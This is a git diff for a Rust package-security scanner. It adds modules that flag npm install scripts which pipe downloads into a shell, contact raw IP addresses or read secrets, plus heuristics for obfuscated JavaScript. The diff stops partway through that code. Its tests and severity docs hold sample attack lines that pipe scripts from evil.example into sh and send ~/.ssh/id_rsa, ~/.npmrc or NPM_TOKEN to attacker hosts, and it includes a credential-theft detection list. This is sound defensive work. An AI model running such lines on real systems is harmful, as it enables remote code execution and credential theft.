diff --git a/Cargo.lock b/Cargo.lock index 43a8231..1fd1290 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2,6 +2,12 @@ # It is not intended for manual editing. version = 4 +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + [[package]] name = "ahash" version = "0.8.12" @@ -593,6 +599,15 @@ dependencies = [ "serde_json", ] +[[package]] +name = "crc32fast" +version = "1.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ba106e844045ddc02c20768ac4b0b7cb45f2cc2ecbd833ac9f5dacb183c2055" +dependencies = [ + "cfg-if", +] + [[package]] name = "criterion" version = "0.5.1" @@ -803,9 +818,11 @@ name = "deprader" version = "0.1.0" dependencies = [ "assert_cmd", + "base64 0.22.1", "clap", "criterion", "dirs", + "flate2", "jsonschema", "mockito", "owo-colors", @@ -814,6 +831,8 @@ dependencies = [ "serde", "serde_json", "serde_yaml", + "sha2", + "tar", "tempfile", "tokio", "toml", @@ -1061,12 +1080,33 @@ version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" +[[package]] +name = "filetime" +version = "0.2.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c287a33c7f0a620c38e641e7f60827713987b3c0f26e8ddc9462cc69cf75759" +dependencies = [ + "cfg-if", + "libc", +] + [[package]] name = "find-msvc-tools" version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d45db016d36b838f563236e9193d0ee6ce38f3f68b6c94e914b4929c96bbb890" +[[package]] +name = "flate2" +version = "1.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e634e2e0ebac1ee034020da1ca582e17ffe4e0f5e985823721e168928136dcb" +dependencies = [ + "crc32fast", + "miniz_oxide", + "zlib-rs", +] + [[package]] name = "fluent-uri" version = "0.3.2" @@ -1782,6 +1822,16 @@ version = "2.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" +[[package]] +name = "miniz_oxide" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b63fbc4a50860e98e7b2aa7804ded1db5cbc3aff9193adaff57a6931bf7c4b4c" +dependencies = [ + "adler2", + "simd-adler32", +] + [[package]] name = "mio" version = "1.2.3" @@ -2750,6 +2800,12 @@ dependencies = [ "rand_core 0.6.4", ] +[[package]] +name = "simd-adler32" +version = "0.3.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a219298ac11a56ea9a6d2120044824d6f01aeb034955e7af7bc16858527deea" + [[package]] name = "similar" version = "2.7.0" @@ -3087,6 +3143,17 @@ dependencies = [ "syn 2.0.119", ] +[[package]] +name = "tar" +version = "0.4.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f6221d9a6003c78398e3b239969f352578258df48c8eb051caadae0015bc840" +dependencies = [ + "filetime", + "libc", + "xattr", +] + [[package]] name = "tempfile" version = "3.27.0" @@ -3871,6 +3938,16 @@ version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3ad82d2a33cdc9674dc7465672f271e096168fcdbe0f799d9e6db8c5892679dc" +[[package]] +name = "xattr" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32e45ad4206f6d2479085147f02bc2ef834ac85886624a23575ae137c8aa8156" +dependencies = [ + "libc", + "rustix", +] + [[package]] name = "yoke" version = "0.8.3" @@ -3988,6 +4065,12 @@ dependencies = [ "syn 3.0.4", ] +[[package]] +name = "zlib-rs" +version = "0.6.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b268e58e7c693d7c271f93ffc4ba3b380412554231c85bf61ca7af91042a4112" + [[package]] name = "zmij" version = "1.0.23" diff --git a/Cargo.toml b/Cargo.toml index f5dbfc1..88f1f1d 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -25,12 +25,16 @@ path = "src/lib.rs" async = [] [dependencies] +base64 = "0.22" clap = { version = "4", features = ["derive"] } dirs = "5" +flate2 = "1" reqwest = { version = "0.12", default-features = false, features = ["blocking", "json", "rustls-tls"] } serde = { version = "1", features = ["derive"] } +sha2 = "0.10" owo-colors = "4" serde_json = "1" +tar = "0.4" toml = "1.1.8" serde_yaml = "0.9" diff --git a/PROGRESS.md b/PROGRESS.md index c12701f..e03728b 100644 --- a/PROGRESS.md +++ b/PROGRESS.md @@ -503,3 +503,81 @@ is closed — see [CONTRIBUTING.md](CONTRIBUTING.md). - **By:** david-tanko - **Closes:** #85 - **Status:** Merged. + +### behavioral — safe npm tarball download and unpack + +- **What:** Adds `src/behavioral/tarball.rs`. `download_npm_dist` downloads + `dist.tarball` through the shared polite HTTP client, caps the body at + 50 MB, and verifies `dist.integrity` as a SHA-512 SRI digest before + returning any bytes (`verify_integrity` accepts several SRI tokens and + requires at least one matching `sha512-` value). `unpack_tarball` + decompresses a gzipped npm tarball into memory, never writing a + path taken from the archive and never executing anything. `UnpackLimits` + caps total unpacked bytes (50 MB), per-file bytes, entry count (10,000) + and path length (1 KB); absolute paths, `..`, backslashes, drive prefixes, + NULs, non-UTF-8 paths, duplicate paths, symlinks, hard links and all other + non-file/non-directory entry types are rejected. The npm `package/` prefix + is stripped only when every entry is under it. Returns sorted + `PackageFile { path, data }` values. +- **Tests:** crafted tar.gz archives for path traversal, absolute paths, + Windows-style paths, symlinks, hard links, size bombs, total-size caps, + file-count caps, duplicates, non-UTF-8/overlong paths and corrupt gzip; + SHA-512 verification (match, tamper, missing, malformed, multi-token) and + mocked download size/integrity checks. +- **By:** ushpraise +- **Closes:** #100 +- **Status:** In review. + +### behavioral — npm install-script detector + +- **What:** Adds `src/behavioral/scripts.rs`. + `install_scripts(package_json) -> Vec<(String, String)>` parses + `package.json` and returns `preinstall`, `install`, `postinstall` and + `prepare` commands in lifecycle order; invalid JSON, unrelated scripts and + non-string values are ignored. `InstallScript::finding` wraps each one as a + medium-severity `BehavioralFinding` on `package.json`, and + `install_script_findings` returns them all. Nothing is executed. +- **Tests:** no scripts, one script, all four hooks (with unrelated entries + mixed in), non-string values, and the finding message/severity. +- **By:** ushpraise +- **Closes:** #99 +- **Status:** In review. + +### behavioral — obfuscated JavaScript heuristics + +- **What:** Adds `src/behavioral/obfuscation.rs`. `score_javascript` scores a + file on base64 runs of 200+ characters (3 points), hex runs of 200+ + characters (4), `eval(` (2), `new Function(` (3), `atob(` (2), + high-entropy 128+ character string literals (2 each, max 4) and source + lines over 2,000 characters (1). `OBFUSCATION_THRESHOLD` is 4, so a + minified bundle's single long-line point is not enough; scores of 8+ are + high severity, 4–7 medium. Markers are counted only in code, with comments + and string contents masked. `scan_obfuscation` emits the finding and + `scan_tree` walks `.js`/`.mjs`/`.cjs` files (5 MB per-file cap). +- **Tests:** a minified-but-benign file is not flagged; an `atob` + base64 + + `eval` sample is flagged high; hex blobs, short blobs, markers in + strings/comments, lookalike identifiers, long-line-only files and tree + scanning. +- **By:** ushpraise +- **Closes:** #101 +- **Status:** In review. + +### behavioral — network and credential access in install scripts + +- **What:** Adds `src/behavioral/network.rs`. `scan_script` line-scans a + command or invoked script for `curl`/`wget` piped to + `sh`/`bash`/`zsh`/`dash`/`fish` (including `sh -c "$(curl ...)"`; high), + HTTP(S) requests to raw IPv4 literals (medium), and reads of `NPM_TOKEN`, + `AWS_*`, `GITHUB_TOKEN`/`GH_TOKEN`, `~/.ssh` and `~/.npmrc` (high). + Findings include a line number and a snippet truncated to 80 characters. + `scan_install_scripts` labels findings with the package.json hook, and + `scan_package` follows local script files named by lifecycle commands + (`node scripts/install.js`, `sh ./setup.sh`), refusing absolute or `..` + paths. +- **Tests:** one per pattern (curl pipe, wget pipe, raw-IP request, npm/AWS/ + GitHub tokens, SSH/npmrc access), a benign build script that must not flag, + snippet truncation, and following invoked files without escaping the + package root. +- **By:** ushpraise +- **Closes:** #102 +- **Status:** In review. diff --git a/docs/severity.md b/docs/severity.md index 99b6d91..1b30db6 100644 --- a/docs/severity.md +++ b/docs/severity.md @@ -55,6 +55,11 @@ by what the behavior can do at install time: | `setup.py` network calls (`urllib`, `requests`) | **Medium** | `urllib.request.urlopen('https://evil.example/beacon')` phoning home during install. | | Native binaries shipped in a package | **Low** | An ELF, PE, or Mach-O file, or a `.exe`/`.dll`/`.so`/`.dylib`, inside an unpacked npm or PyPI package — informational, since native addons are common and legitimate. | | New install script between two versions | **Medium** | A patch release that adds `setup.py` or an npm `postinstall` hook. | +| npm install script (`preinstall`, `install`, `postinstall`, `prepare`) | **Medium** | A declared lifecycle hook such as `"postinstall": "node scripts/build.js"` — most are legitimate, but the hook runs arbitrary code on install, so it is surfaced for review. | +| Install script downloads and pipes to a shell | **High** | `curl -fsSL https://evil.example/x.sh \| sh` in an npm `preinstall` script or a file it invokes. | +| Install script talks to a raw IP address | **Medium** | `fetch('http://203.0.113.9/collect')` — bypasses hostname-based allowlists and is unusual in a build script. | +| Install script reads tokens or secret files | **High** | `process.env.NPM_TOKEN`, `process.env.AWS_SECRET_ACCESS_KEY`, `~/.ssh/id_rsa` or `~/.npmrc` read from an install script. | +| Obfuscated JavaScript | **Medium / High** | A file scoring 4–7 on the obfuscation heuristics (encoded blobs, `eval`/`new Function`/`atob`, high-entropy strings, very long lines) is **medium**; 8+ is **high**. A minified bundle gets only the long-line point and is not flagged. | | New suspicious `setup.py` call between two versions | *(inherits)* | The new call keeps the level of its kind (command execution → high, obfuscation/network → medium). | ## How CVSS maps in diff --git a/src/behavioral/mod.rs b/src/behavioral/mod.rs index 6709a7c..862e52d 100644 --- a/src/behavioral/mod.rs +++ b/src/behavioral/mod.rs @@ -13,7 +13,11 @@ pub mod binaries; pub mod diff; +pub mod network; +pub mod obfuscation; +pub mod scripts; pub mod setup_py; +pub mod tarball; use std::fmt; diff --git a/src/behavioral/network.rs b/src/behavioral/network.rs new file mode 100644 index 0000000..72c5810 --- /dev/null +++ b/src/behavioral/network.rs @@ -0,0 +1,436 @@ +//! Network and credential access in npm install scripts. +//! +//! Install scripts are the payload delivery mechanism for most npm malware. +//! This module reads them — and the local files they invoke — as text and +//! reports the common exfiltration and download shapes: +//! +//! - `curl`/`wget` output piped into `sh`/`bash`/`zsh`/`dash`, or +//! `sh -c "$(curl ...)"`, +//! - HTTP(S) requests aimed at a raw IPv4 address rather than a hostname, +//! - reads of npm, AWS and GitHub tokens, `~/.ssh` and `~/.npmrc`. +//! +//! Every finding carries a truncated copy of the matched line so a reviewer +//! can see the evidence without opening the package. Nothing is executed and +//! no network request is made by the scanner. + +use std::path::{Component, Path}; + +use crate::cve::severity::Severity; + +use super::scripts::install_scripts; +use super::BehavioralFinding; + +/// Longest snippet included in a finding message, in characters. +pub const MAX_SNIPPET_CHARS: usize = 80; + +/// The behaviour a line matched. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum NetworkPattern { + /// A downloaded script is piped straight into a shell. + PipeToShell, + /// An HTTP(S) request targets a raw IPv4 literal. + RawIpRequest, + /// A token, SSH directory or npm config file is read. + CredentialAccess, +} + +impl NetworkPattern { + pub fn severity(self) -> Severity { + match self { + NetworkPattern::PipeToShell | NetworkPattern::CredentialAccess => Severity::High, + // Talking to an IP is a strong indicator, but not code execution + // on its own. + NetworkPattern::RawIpRequest => Severity::Medium, + } + } + + pub fn label(self) -> &'static str { + match self { + NetworkPattern::PipeToShell => "download piped to a shell", + NetworkPattern::RawIpRequest => "request to a raw IP address", + NetworkPattern::CredentialAccess => "credential or secret-file access", + } + } +} + +/// Scans one script (normally an npm lifecycle command or a file it invokes) +/// line by line. `file` labels the findings; it is never opened. +pub fn scan_script(file: &str, source: &str) -> Vec { + let mut findings = Vec::new(); + for (index, line) in source.lines().enumerate() { + let snippet = snippet(line); + if pipe_to_shell(line) { + push( + &mut findings, + file, + index, + NetworkPattern::PipeToShell, + &snippet, + ); + } + if raw_ip_request(line) { + push( + &mut findings, + file, + index, + NetworkPattern::RawIpRequest, + &snippet, + ); + } + if credential_access(line) { + push( + &mut findings, + file, + index, + NetworkPattern::CredentialAccess, + &snippet, + ); + } + } + findings +} + +fn push( + findings: &mut Vec, + file: &str, + index: usize, + pattern: NetworkPattern, + snippet: &str, +) { + findings.push(BehavioralFinding { + file: file.to_string(), + line: Some(index + 1), + severity: pattern.severity(), + message: format!("{}: \"{snippet}\"", pattern.label()), + }); +} + +/// Scans every install script declared in `package_json`, labelling findings +/// with `package.json`. +pub fn scan_install_scripts(package_json: &str) -> Vec { + let mut findings = Vec::new(); + for (hook, command) in install_scripts(package_json) { + for finding in scan_script("package.json", &command) { + findings.push(BehavioralFinding { + line: None, + message: format!("[{hook}] {}", finding.message), + ..finding + }); + } + } + findings +} + +/// Scans a package's `package.json` install scripts and every local script +/// file they invoke (`node scripts/install.js`, `sh ./setup.sh`, ...). +/// +/// Referenced paths are resolved inside `root`; absolute paths, `..` +/// components and missing files are skipped. I/O errors from reading +/// candidate files are ignored, so one unreadable script doesn't abort the +/// scan. +pub fn scan_package(root: &Path, package_json: &str) -> Vec { + let mut findings = scan_install_scripts(package_json); + let mut invoked = Vec::new(); + for (_, command) in install_scripts(package_json) { + for path in referenced_files(&command) { + if !invoked.contains(&path) { + invoked.push(path); + } + } + } + invoked.sort(); + for path in invoked { + let full = root.join(&path); + if let Ok(source) = std::fs::read_to_string(full) { + findings.extend(scan_script(&path, &source)); + } + } + findings +} + +/// Extracts local script files named on a command line. +fn referenced_files(command: &str) -> Vec { + let mut files = Vec::new(); + for token in command.split_whitespace() { + let token = token + .trim_matches(|c: char| matches!(c, '\'' | '"' | '&' | '|' | ';' | '(' | ')' | '`')); + let lower = token.to_ascii_lowercase(); + let is_script = [".js", ".mjs", ".cjs", ".sh", ".bash"] + .iter() + .any(|ext| lower.ends_with(ext)); + if !is_script { + continue; + } + let path = Path::new(token); + if path.is_absolute() + || path + .components() + .any(|component| matches!(component, Component::ParentDir | Component::RootDir)) + { + continue; + } + let normalized = path + .components() + .filter_map(|component| match component { + Component::Normal(part) => Some(part.to_string_lossy().into_owned()), + _ => None, + }) + .collect::>() + .join("/"); + if !normalized.is_empty() { + files.push(normalized); + } + } + files +} + +/// `curl ... | sh`, `wget -qO- ... | bash`, `sh -c "$(curl ...)"`. +fn pipe_to_shell(line: &str) -> bool { + let lower = line.to_ascii_lowercase(); + let downloads = lower.contains("curl") || lower.contains("wget"); + if !downloads { + return false; + } + let mut segments = lower.split('|').skip(1); + if segments.any(|segment| { + let mut words = segment.split_whitespace(); + let mut first = words + .next() + .unwrap_or_default() + .trim_matches(|c: char| matches!(c, ';' | '&' | '\\' | '\'' | '"' | '`')); + if first == "sudo" { + first = words + .next() + .unwrap_or_default() + .trim_matches(|c: char| matches!(c, ';' | '&' | '\\' | '\'' | '"' | '`')); + } + let shell = first.rsplit('/').next().unwrap_or(first); + matches!(shell, "sh" | "bash" | "zsh" | "dash" | "fish") + }) { + return true; + } + // Command substitution: sh -c "$(curl ...)" / bash -c "wget ...". + lower.contains("$(") && (lower.contains("sh -c") || lower.contains("bash -c")) +} + +/// An HTTP(S) request or URL that contains a raw IPv4 literal. +fn raw_ip_request(line: &str) -> bool { + let lower = line.to_ascii_lowercase(); + let request = lower.contains("http://") + || lower.contains("https://") + || lower.contains("http.request") + || lower.contains("https.request") + || lower.contains("request(") + || lower.contains("fetch(") + || lower.contains("net.connect"); + request && contains_ipv4(line) +} + +fn contains_ipv4(line: &str) -> bool { + line.split(|c: char| !(c.is_ascii_digit() || c == '.')) + .any(is_ipv4) +} + +fn is_ipv4(candidate: &str) -> bool { + let parts: Vec<&str> = candidate.split('.').collect(); + parts.len() == 4 + && parts.iter().all(|part| { + !part.is_empty() + && part.len() <= 3 + && part.parse::().is_ok_and(|value| value <= 255) + }) +} + +/// Tokens and paths that hold credentials the installer can reach. +fn credential_access(line: &str) -> bool { + const TOKENS: &[&str] = &[ + "NPM_TOKEN", + "GITHUB_TOKEN", + "GH_TOKEN", + "AWS_ACCESS_KEY_ID", + "AWS_SECRET_ACCESS_KEY", + "AWS_SESSION_TOKEN", + "~/.ssh", + ".ssh", + "~/.npmrc", + ".npmrc", + ]; + TOKENS.iter().any(|token| line.contains(token)) + || line + .split(|c: char| !(c.is_ascii_alphanumeric() || c == '_')) + .any(|word| word.starts_with("AWS_")) +} + +fn snippet(line: &str) -> String { + let trimmed = line.trim(); + let mut chars = trimmed.chars(); + let snippet: String = chars.by_ref().take(MAX_SNIPPET_CHARS).collect(); + if chars.next().is_some() { + format!("{snippet}...") + } else { + snippet + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn messages(source: &str) -> Vec { + scan_script("postinstall.js", source) + .into_iter() + .map(|finding| finding.message) + .collect() + } + + #[test] + fn curl_piped_to_shell_is_flagged() { + let findings = scan_script( + "postinstall.js", + "curl -fsSL https://evil.example/x.sh | sh\n", + ); + assert_eq!(findings.len(), 1); + assert_eq!(findings[0].severity, Severity::High); + assert!(findings[0].message.contains("piped to a shell")); + assert!(findings[0].message.contains("curl -fsSL")); + } + + #[test] + fn wget_piped_to_bash_is_flagged() { + assert_eq!( + messages("wget -qO- http://evil.example/x | bash -s --").len(), + 1 + ); + assert_eq!( + messages("sh -c \"$(curl -s http://evil.example/x)\"").len(), + 1 + ); + } + + #[test] + fn http_request_to_a_raw_ip_is_flagged() { + let findings = scan_script( + "install.js", + "require('http').request({host: '203.0.113.9'}).end();\n", + ); + assert_eq!(findings.len(), 1); + assert_eq!(findings[0].severity, Severity::Medium); + assert!(findings[0].message.contains("raw IP")); + + assert_eq!( + messages("fetch('http://198.51.100.4/payload').then(r => r.text());").len(), + 1 + ); + } + + #[test] + fn credential_tokens_are_flagged() { + for line in [ + "const token = process.env.NPM_TOKEN;", + "const key = process.env.AWS_SECRET_ACCESS_KEY;", + "fetch(url, {headers: {authorization: process.env.GITHUB_TOKEN}});", + "const key = process.env.AWS_SESSION_TOKEN;", + ] { + let findings = scan_script("postinstall.sh", line); + assert_eq!(findings.len(), 1, "{line}"); + assert_eq!(findings[0].severity, Severity::High); + assert!(findings[0].message.contains("credential"), "{line}"); + } + } + + #[test] + fn ssh_and_npm_config_access_is_flagged() { + for line in [ + "cat ~/.ssh/id_rsa | curl -X POST https://evil.example", + "const host = path.join(home, '.ssh', 'known_hosts');", + "cp ~/.npmrc /tmp/npmrc && curl -d @/tmp/npmrc https://evil.example", + "const rc = fs.readFileSync(path.join(home, '.npmrc'));", + ] { + let findings = scan_script("postinstall.sh", line); + assert!( + findings + .iter() + .any(|f| f.message.contains("credential or secret-file access")), + "{line}: {findings:?}" + ); + } + } + + #[test] + fn benign_build_scripts_are_not_flagged() { + for line in [ + "node-gyp rebuild", + "tsc -p tsconfig.json && node scripts/build.js", + "node scripts/postinstall.js", + "sh ./scripts/compile.sh --release", + "echo 'downloaded from https://registry.npmjs.org'", + ] { + assert_eq!(messages(line), Vec::::new(), "{line}"); + } + } + + #[test] + fn one_finding_per_pattern_per_line() { + let findings = scan_script( + "postinstall.sh", + "curl http://203.0.113.9/x | sh; cat ~/.ssh/id_rsa", + ); + assert_eq!(findings.len(), 3, "{findings:?}"); + assert_eq!( + findings[0].message.split(':').next(), + Some("download piped to a shell") + ); + assert!(findings[1].message.contains("raw IP")); + assert!(findings[2].message.contains("credential")); + } + + #[test] + fn snippets_are_truncated() { + let line = format!("curl -fsSL https://evil.example/{} | sh", "a".repeat(200)); + let findings = scan_script("postinstall.sh", &line); + assert_eq!(findings.len(), 1); + assert!( + findings[0].message.contains("..."), + "{}", + findings[0].message + ); + let quoted = &findings[0].message; + assert!(quoted.chars().count() < 140, "{quoted}"); + } + + #[test] + fn package_json_scripts_are_scanned() { + let json = r#"{"scripts":{"preinstall":"curl -s https://evil.example/x | sh"}}"#; + let findings = scan_install_scripts(json); + assert_eq!(findings.len(), 1); + assert_eq!(findings[0].file, "package.json"); + assert!(findings[0].message.contains("[preinstall]")); + } + + #[test] + fn files_invoked_by_install_scripts_are_scanned() { + let dir = tempfile::tempdir().unwrap(); + let root = dir.path(); + std::fs::create_dir_all(root.join("scripts")).unwrap(); + std::fs::write( + root.join("scripts/install.js"), + "const t = process.env.NPM_TOKEN;\nfetch('http://203.0.113.9/collect', {body: t});\n", + ) + .unwrap(); + let json = r#"{"scripts":{"postinstall":"node scripts/install.js"}}"#; + let findings = scan_package(root, json); + assert_eq!(findings.len(), 2, "{findings:?}"); + assert!(findings.iter().all(|f| f.file == "scripts/install.js")); + assert!(findings + .iter() + .any(|f| f.message.contains("credential or secret-file access"))); + assert!(findings.iter().any(|f| f.message.contains("raw IP"))); + } + + #[test] + fn invoked_paths_cannot_escape_the_package() { + let dir = tempfile::tempdir().unwrap(); + let json = r#"{"scripts":{"postinstall":"node ../escape.js ../../etc/passwd.sh"}}"#; + assert_eq!(scan_package(dir.path(), json), Vec::new()); + } +} diff --git a/src/behavioral/obfuscation.rs b/src/behavioral/obfuscation.rs new file mode 100644 index 0000000..981ad35 --- /dev/null +++ b/src/behavioral/obfuscation.rs @@ -0,0 +1,615 @@ +//! Heuristics for obfuscated JavaScript. +//! +//! Malware on npm hides its payload in encoded blobs and decodes it at +//! runtime. [`score_javascript`] scores a source file on four independent +//! signals: +//! +//! | Signal | Weight | Notes | +//! | --- | --- | --- | +//! | Base64 run of 200+ characters | 3 | counted inside string literals | +//! | Hex run of 200+ characters | 4 | counted inside string literals | +//! | `eval(` / `new Function(` / `atob(` | 2 / 3 / 2 | in code, not strings or comments | +//! | Shannon entropy ≥ 4.8 on a 128+ character string | 2 each, max 4 | | +//! | Source line longer than 2,000 characters | 1 | minified files get this alone | +//! +//! A file is reported as an [`Obfuscation`](ObfuscationFinding) finding at or +//! above [`OBFUSCATION_THRESHOLD`] (4). The threshold is deliberately above +//! the single long-line weight: ordinary minified bundles are not flagged. +//! Scores at or above [`HIGH_SEVERITY_THRESHOLD`] (8) are rated high, +//! otherwise medium. This is a review prompt, not a verdict. + +use std::path::Path; + +use crate::cve::severity::Severity; + +use super::{collect_files, BehavioralFinding}; + +/// Score at which a file is reported. +pub const OBFUSCATION_THRESHOLD: u32 = 4; +/// Score at which the finding is rated high rather than medium. +pub const HIGH_SEVERITY_THRESHOLD: u32 = 8; +/// Files larger than this are skipped by [`scan_tree`]. +pub const MAX_FILE_BYTES: u64 = 5 * 1024 * 1024; +/// Entropy at or above this on a long literal is suspicious. +pub const HIGH_ENTROPY: f64 = 4.8; +/// Minimum literal length for the entropy signal. +pub const ENTROPY_MIN_LEN: usize = 128; +/// Minimum literal run for an encoded blob. +pub const BLOB_MIN_LEN: usize = 200; +/// Line length that counts as "very long" (minified). +pub const LONG_LINE: usize = 2_000; + +const WEIGHT_BASE64_BLOB: u32 = 3; +const WEIGHT_HEX_BLOB: u32 = 4; +const WEIGHT_EVAL: u32 = 2; +const WEIGHT_FUNCTION: u32 = 3; +const WEIGHT_ATOB: u32 = 2; +const WEIGHT_ENTROPY: u32 = 2; +const WEIGHT_LONG_LINE: u32 = 1; + +/// Per-file score plus the evidence behind it. +#[derive(Debug, Clone, PartialEq)] +pub struct ObfuscationScore { + pub score: u32, + pub base64_blobs: usize, + pub hex_blobs: usize, + pub entropy_strings: usize, + pub eval_calls: usize, + pub function_constructors: usize, + pub atob_calls: usize, + pub long_lines: usize, + /// Human-readable reasons, one per signal that fired. + pub reasons: Vec, +} + +impl ObfuscationScore { + /// True when the score reaches [`OBFUSCATION_THRESHOLD`]. + pub fn is_obfuscated(&self) -> bool { + self.score >= OBFUSCATION_THRESHOLD + } + + /// Severity for a reported file. + pub fn severity(&self) -> Severity { + if self.score >= HIGH_SEVERITY_THRESHOLD { + Severity::High + } else { + Severity::Medium + } + } + + fn add(&mut self, weight: u32, reason: String) { + self.score = self.score.saturating_add(weight); + self.reasons.push(reason); + } +} + +/// The finding produced for one obfuscated file. +#[derive(Debug, Clone)] +pub struct ObfuscationFinding { + pub file: String, + pub score: ObfuscationScore, +} + +impl ObfuscationFinding { + /// Renders the finding as the shared behavioral type. + pub fn to_finding(&self) -> BehavioralFinding { + BehavioralFinding { + file: self.file.clone(), + line: None, + severity: self.score.severity(), + message: format!( + "obfuscated JavaScript (score {}/{}): {}", + self.score.score, + OBFUSCATION_THRESHOLD, + self.score.reasons.join("; ") + ), + } + } +} + +/// Scores one JavaScript source file. The score is deterministic and never +/// executes the code. +pub fn score_javascript(source: &str) -> ObfuscationScore { + let mut result = ObfuscationScore { + score: 0, + base64_blobs: 0, + hex_blobs: 0, + entropy_strings: 0, + eval_calls: 0, + function_constructors: 0, + atob_calls: 0, + long_lines: 0, + reasons: Vec::new(), + }; + + let literals = string_literals(source); + for literal in &literals { + for run in encoded_runs(literal) { + match run.kind { + BlobKind::Base64 => result.base64_blobs += 1, + BlobKind::Hex => result.hex_blobs += 1, + } + } + if literal.len() >= ENTROPY_MIN_LEN && shannon_entropy(literal) >= HIGH_ENTROPY { + result.entropy_strings += 1; + } + } + + if result.base64_blobs > 0 { + result.add( + WEIGHT_BASE64_BLOB, + format!( + "{} base64 blob(s) over {BLOB_MIN_LEN} chars", + result.base64_blobs + ), + ); + } + if result.hex_blobs > 0 { + result.add( + WEIGHT_HEX_BLOB, + format!("{} hex blob(s) over {BLOB_MIN_LEN} chars", result.hex_blobs), + ); + } + if result.entropy_strings > 0 { + let weight = + WEIGHT_ENTROPY * u32::try_from(result.entropy_strings.min(2)).unwrap_or_default(); + result.add( + weight, + format!( + "{} high-entropy string literal(s) (entropy >= {HIGH_ENTROPY})", + result.entropy_strings + ), + ); + } + + let code = mask_comments_and_strings(source); + result.eval_calls = count_bare_calls(&code, "eval"); + result.function_constructors = count_function_constructors(&code); + result.atob_calls = count_bare_calls(&code, "atob"); + if result.eval_calls > 0 { + result.add( + WEIGHT_EVAL, + format!("eval( used {} time(s)", result.eval_calls), + ); + } + if result.function_constructors > 0 { + result.add( + WEIGHT_FUNCTION, + format!( + "new Function( used {} time(s)", + result.function_constructors + ), + ); + } + if result.atob_calls > 0 { + result.add( + WEIGHT_ATOB, + format!("atob( used {} time(s)", result.atob_calls), + ); + } + + result.long_lines = source.lines().filter(|line| line.len() > LONG_LINE).count(); + if result.long_lines > 0 { + result.add( + WEIGHT_LONG_LINE, + format!("{} line(s) over {LONG_LINE} chars", result.long_lines), + ); + } + + result +} + +/// Alias for [`score_javascript`], matching the module's noun-first style. +pub fn obfuscation_score(source: &str) -> ObfuscationScore { + score_javascript(source) +} + +/// Scores `source` as `file` and returns a finding when it crosses the +/// threshold. +pub fn scan_obfuscation(file: &str, source: &str) -> Option { + let finding = ObfuscationFinding { + file: file.to_string(), + score: score_javascript(source), + }; + finding.score.is_obfuscated().then(|| finding.to_finding()) +} + +/// Alias for [`scan_obfuscation`]. +pub fn scan_javascript(file: &str, source: &str) -> Option { + scan_obfuscation(file, source) +} + +/// Recursively scans `root` for `.js`, `.mjs` and `.cjs` files, returning a +/// finding per file at or above the threshold, sorted by path. +/// +/// Files over [`MAX_FILE_BYTES`], non-UTF-8 files and unreadable files are +/// skipped: one odd file shouldn't abort a package scan. +pub fn scan_tree(root: &Path) -> std::io::Result> { + let mut findings = Vec::new(); + for file in collect_files(root)? { + let is_js = [".js", ".mjs", ".cjs"] + .iter() + .any(|ext| file.ends_with(ext)); + if !is_js { + continue; + } + let path = root.join(&file); + let Ok(metadata) = std::fs::metadata(&path) else { + continue; + }; + if metadata.len() > MAX_FILE_BYTES { + continue; + } + let Ok(source) = std::fs::read_to_string(&path) else { + continue; + }; + if let Some(finding) = scan_obfuscation(&file, &source) { + findings.push(finding); + } + } + Ok(findings) +} + +/// Shannon entropy in bits per byte. +pub fn shannon_entropy(input: &str) -> f64 { + if input.is_empty() { + return 0.0; + } + let mut counts = [0usize; 256]; + for byte in input.bytes() { + counts[byte as usize] += 1; + } + let len = input.len() as f64; + counts + .iter() + .filter(|count| **count > 0) + .map(|count| { + let p = *count as f64 / len; + -p * p.log2() + }) + .sum() +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum BlobKind { + Base64, + Hex, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +struct EncodedRun { + kind: BlobKind, + len: usize, +} + +/// Finds maximal base64/hex runs of at least [`BLOB_MIN_LEN`] characters. +/// Base64 runs need three character classes so a long identifier isn't a +/// blob; hex runs need both a digit and an `a`–`f` letter. +fn encoded_runs(input: &str) -> Vec { + let bytes = input.as_bytes(); + let mut runs = Vec::new(); + let mut start = 0; + while start < bytes.len() { + let Some((kind, len)) = run_at(bytes, start) else { + start += 1; + continue; + }; + if len >= BLOB_MIN_LEN { + runs.push(EncodedRun { kind, len }); + } + start += len; + } + runs +} + +fn run_at(bytes: &[u8], start: usize) -> Option<(BlobKind, usize)> { + if !is_base64_byte(bytes[start]) { + return None; + } + let mut end = start; + while end < bytes.len() && is_base64_byte(bytes[end]) { + end += 1; + } + let run = &bytes[start..end]; + if run.iter().all(|byte| is_hex_byte(*byte)) { + let has_digit = run.iter().any(u8::is_ascii_digit); + let has_hex_letter = run + .iter() + .any(|byte| matches!(byte, b'a'..=b'f' | b'A'..=b'F')); + if has_digit && has_hex_letter { + return Some((BlobKind::Hex, run.len())); + } + } + let classes = [ + run.iter().any(u8::is_ascii_uppercase), + run.iter().any(u8::is_ascii_lowercase), + run.iter().any(u8::is_ascii_digit), + run.iter().any(|byte| matches!(byte, b'+' | b'/' | b'=')), + ] + .into_iter() + .filter(|present| *present) + .count(); + if classes >= 3 { + Some((BlobKind::Base64, run.len())) + } else { + None + } 